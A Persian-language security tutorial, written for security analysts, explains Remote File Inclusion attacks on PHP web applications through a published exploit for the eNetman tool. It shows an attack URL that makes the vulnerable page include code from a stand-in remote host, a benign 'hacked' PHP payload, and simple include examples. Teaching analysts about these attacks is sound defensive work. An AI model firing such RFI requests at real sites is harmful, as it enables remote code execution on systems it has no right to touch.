همانطور که میدانید خود امنیت شبکه دارای گرایش های مختلفی است که تا کنون و در جاهای مختلف بیشتر در رابطه با گرایش تست نفوذ و هک آن صحبت میشود. اما در این بخش مفهومی که قصد اموزش آن را دارم در رسته تحلیل امنیت قرار میگیرد و درک آن برای هرکسی که قصد دارد در زمینه تحلیل امنیت ادامه دهد، بقول عامیانه از نان شب واجب تر است! به عنوان یک تحلیلگر امنیت، بنا به ذات کار خود، روزانه ترافیک زیادی را میبینید که باید آن ها را با درایت تحلیل کنید.
یکی از مهمترین روش هایی که میتوان با میلیون ها لاگ امنیتی در روز دست و پنجه نرم کرد و بتوان لاگ های تهدید کننده را بطور واقعی تمایز داد، شناختن الگوها و مفاهیم است. شما ترافیک موجود را به دسته بندی های مختلف مانند شیوع بدافزار، تست نفوذ مجاز، حملات Brute-force، ساختاربندی اشتباه، اسکن پورت و ... گروه بندی میکنید.یکی از دسته بندی هایی که در کنار نمونه های مثال زده شده، ایجاد میکنید، حملات (Remote File Include (RFI است. با توجه به شهرت و فراگیر بودن این دسته از حملات، ردگیری آن ها سخت نیست.
حملات RFI بسادگی ردگیری میشوند که همین موضوع باعث میشود تا بتوان از آن ها اطلاعات آماری خوب و زمینه ای برای تحقیقات بعدی مهیا باشد. آرشیو اکسپلویت Milw0rm شامل حدود 580 اکسپلویت مختلف است که در عنوان خود RFI و یا Remote File Include را دارند. این نوع از حملات در سال 2007 از نظر موسسه SANS جزو 20 تهدید امنیتی و از نظر موسسه OWASP در همین سال با قرارگیری در دسته بندی Malicious File Execution، رتبه سوم از میان 10 آسیب پذیری خطرناک وب را از آن خود کند.در این آموزش سعی خواهم کرد تا چشم اندازی بر حملات RFI داشته باشم. در ادامه این حملات را در وب اپلیکیشن های PHP بررسی خواهم نمود. همانطور که میدانید PHP زبان اسکریپتی است که تعداد قابل توجهی از آسیب پذیری ها در دل ان شکل گرفته اند.
یک راه ساده برای درک کردن مفهوم حمله RFI، اینست که یک اتک واقعی علیه یک اپلیکیشن آسیب پذیر را رصد کرده و بقول معروف گام به گام با آن جلو بروید. برای این کار از اکسپلویت هایی که در این زمینه منتشر شده اند، کمک میگیریم ؛ اکسپلویت eNetman. eNetman یکی از ابزارهای مدیریتی وب اپلیکیشن است که به زبان PHP و در قالب MySQL نوشته شده است. کاربردی که برای این ابزار در نظر گرفته شده است، نگهداری لیستی ساختار یافته از سرورها است که متقابلا به مکان، سازنده، CPU و سیستم عامل آن ها اشاره دارد. eNetman علاوه بر آن که یک ابزار مدیریتی برای سیستم است، در برابر حمله RFI نیز آسیب پذیر است. در شکل اول اپلیکیشنی را میبینید که بصورت نرمال اجرا میشود و در شکل بعدی، همان اپلیکیشن را بعد از آن که بصورت ریموت کد در آن گنجانده شده است، مشاهده خواهید کرد:
در شکل دوم، دو چیز خودنمایی میکند: اول از همه عبارت "Hacked" است که بصورت بزرگ در سایت جا گذاری شده است و مورد دوم عبارت URL آن است؛
http://victim/enetman/html/index.php?Page=http://remote/include_me.txt
در واقع در شکل دوم، فرم صفحه به آن شکل در آمد بخاطر آن که eNetman کد php ای را که شامل includeme.txt بود، اجرا کرد. Includeme.php در یک وب سرور ریموت واقع شده است و از آن جا بر روی وب مورد نظر مستقیما اجرا میشود. در زیر میتوانید کد php ای را که شامل include_me.txt بود، مشاهده کنید:
<?php Echo "<h1>hacked</h2>"; ?>
قبل از آن که سمت و سوی بحث را بطرف آنچه که رخ داده است، ببرم، میخواهم عبارت URL را به چند قسمت، مجزا کنم. ما فایل " enetman/html/index.php/" که در وب سرور "Victim" اسکریپتی آسیب پذیر است، درخواست میکنیم. همچنین در مقابل پارامتر "page"، ارزش http://remote/include_me.txt را قرار میدهیم.
php هم مانند زبان های دیگر دارای عملگری است که بشما این اجازه را میدهد تا کد دیگری را در کد خود شامل (include) کرده و اجرا کنید. در مثال B میبینید که ساختار کد شامل کد موجود در مثال A نیز هست و توانسته است آن را به خروجی ببرد.
Example A: 3a.php code
<?php Echo "I,m from 3a"; ?> ---------------- Output: I,m from 3a
Example B: 3b.php code
<?php Include '3a.php'; Echo "--I,m from 3b"; ?> --------------- Output: I,m from 3a -- I'm from 3b
php به دو کامپوننت در زبان خود این اجازه را میدهد تا با یکدیگر ترکیب شده و به حمله اجازه اجرا دهند. اولین کامپوننت به عملگر include این اجازه را میدهد تا فایل هایی را از یک سرور ریموت در خود include کنند. دومین کامپوننت به یک درخواست HTTP این اختیار را میدهد تا متغیرهای داخلی ای که مقدار دهی اولیه نشده اند را از طریق پارامترهایی که بعد از -- میآیند، آلوده نماید که البته کیفیت این موضوع نیز خود به نوع اپلیکیشن بستگی دارد. با این که همیشه بوجود که این کامپوننت احتیاجی نیست اما اکثر اکسپلویت ها بر اساس آن کار میکنند.
در یک وب اپلیکیشن، یکی از راه هایی که دیتای مورد نظر اتکر از طریق یک اسکریپت میتواند منتقل شود، ارسال یک پارامتر به همراه ارزش آن در url است. ارتباط و دسترسی این پارامتر و دیتایی که درون آن وجود دارد، از طریق یک اسکریپت میباشد. در php، متغیرها قبل از آن ها مورد استفاده واقع شوند، نمیتوانند مقدار دهی اولیه شوند. در چنین شرایطی، Php، به متغیرهایش، پارامترهایی بی مقدار، با همان نام متغیر اختصاص میدهد.
مانا باشید.
نویسنده: احسان امجدی
منبع: انجمن تخصصی فناوری اطلاعات ایران
هرگونه نشر و کپی برداری بدون ذکر منبع و نام نویسنده دارای اشکال اخلاقی می باشد.
کارشناس امنیت اطلاعات و ارتباطات
احسان امجدی ، مشاور امنیت اطلاعات و ارتباطات و تست نفوذ سنجی ، هکر کلاه سفید ، مدرس دوره های تخصصی امنیت اطلاعات و شبکه ، تخصص در حوزه های سرویس های مایکروسافت ، Routing و Switching ، مجازی سازی ، امنیت اطلاعات و تست نفوذ ، کشف جرائم رایانه ای و سیستم عامل لینوکس ، متخصص در حوزه SOC و ...
زمان پاسخ گویی روز های شنبه الی چهارشنبه ساعت 9 الی 18
فقط به موضوعات مربوط به محصولات آموزشی و فروش پاسخ داده می شود